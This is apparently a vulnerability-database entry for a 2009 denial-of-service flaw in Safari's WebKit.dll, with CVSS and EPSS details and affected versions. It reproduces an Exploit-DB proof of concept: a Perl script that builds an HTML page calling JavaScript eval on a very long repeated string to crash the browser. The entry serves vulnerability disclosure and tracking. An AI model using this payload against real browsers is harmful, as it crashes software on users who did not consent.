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CVE Descriptions
Stack consumption vulnerability in WebKit.dll in WebKit in Apple Safari 3.2.3, and possibly other versions before 4.1.2, allows remote attackers to cause a denial of service (application crash) via JavaScript code that calls eval on a long string composed of A/ sequences.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:N/A:P | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 9606
Publication date : 2009-09-08 22h00 +00:00
Author : Jeremy Brown
EDB Verified : Yes
#!/usr/bin/perl
# letsgosurfinnowonsafari.pl
# AKA
# Safari 3.2.3 (Win32) JavaScript 'eval' Remote Denial of Service Exploit
#
# Jeremy Brown [[email protected]//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# Safari crashes when interpreting a webpage that calls the "eval" JavaScript function with "A/" repeating
# 21526 times (43052 bytes). When triggering this vulnerability, Safari will throw a "Stack Overflow"
# exception, and then an access violation when adjusting the trigger to "A/" repeating 21697 times
# (43394 bytes). The problem originates in the module "WebKit.dll". Safari uses this module as part of the
# WebKit layout engine (www.webkit.org).
# This issue was reported to Apple several months ago and it looks like they fixed it in Safari 4
# (4.1.2 tested) after recent testing. It has also been lying around the Fun Archive @ krakowlabs.com for
# quite a while too. Btw, STACK_OVERFLOW does NOT mean there is a buffer overflow on the stack. It pretty
# much means that the stack for the process has been exhausted and its maximum size has been reached.
# *********************************************************************************************************
# letsgosurfinnowonsafari.pl
$fn = 'letsgosurfinnowwithsafari.html';
$size = 21526; # "Stack Overflow" WebKit.dll
#$size = 21697; # "Access Violation" WebKit.dll
$payload = '<html><script type="text/javascript">' . "\n";
$payload = $payload . 'eval("' . "A/" x $size . '");' . "\n";
$payload = $payload . '</script></html>';
open(FD, '>' . $fn);
print FD $payload;
close(FD);
# milw0rm.com [2009-09-09]
Products Mentioned
Configuraton 0
Apple>>Safari >> Version 3.2.3
Apple>>Safari >> Version 4.0
- Apple>>Safari >> Version 4.0 (Open CPE detail)
- Apple>>Safari >> Version 4.0 (Open CPE detail)
Apple>>Safari >> Version 4.0
- Apple>>Safari >> Version 4.0 (Open CPE detail)
Apple>>Safari >> Version 4.0.0b
- Apple>>Safari >> Version 4.0.0b (Open CPE detail)
Apple>>Safari >> Version 4.0.2
- Apple>>Safari >> Version 4.0.2 (Open CPE detail)
Apple>>Safari >> Version 4.0.3
- Apple>>Safari >> Version 4.0.3 (Open CPE detail)
References
http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00006.html
Tags : vendor-advisory, x_refsource_SUSE
Tags : vendor-advisory, x_refsource_SUSE
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